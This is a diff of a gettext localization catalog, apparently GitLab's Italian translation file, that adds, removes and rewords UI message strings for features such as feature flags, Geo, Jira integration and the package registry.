msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13783,9 +13940,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr "Fork da"
@@ -14469,6 +14647,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15258,6 +15466,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15531,13 +15748,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15600,6 +15820,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15957,22 +16177,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Create new group"
+msgstr ""
+
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16044,7 +16273,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16187,9 +16431,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr "Cronologia"
@@ -16306,9 +16544,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16318,9 +16571,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17116,6 +17405,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,7 +17594,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17499,10 +17791,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17580,7 +17872,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,13 +18613,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,10 +18736,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18501,7 +18826,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18756,6 +19123,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18998,18 +19368,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19181,6 +19545,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19217,6 +19587,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19705,7 +20078,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20296,9 +20678,6 @@ msgstr ""
msgid "Merge request"
msgstr "Richiesta di merge"
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20587,10 +20966,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20865,10 +21247,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21125,6 +21507,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21257,6 +21645,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21451,9 +21845,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21903,7 +22291,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22143,6 +22534,9 @@ msgstr "Nessuno"
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22469,6 +22863,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23041,6 +23441,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23083,6 +23486,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23104,6 +23510,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23155,9 +23564,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
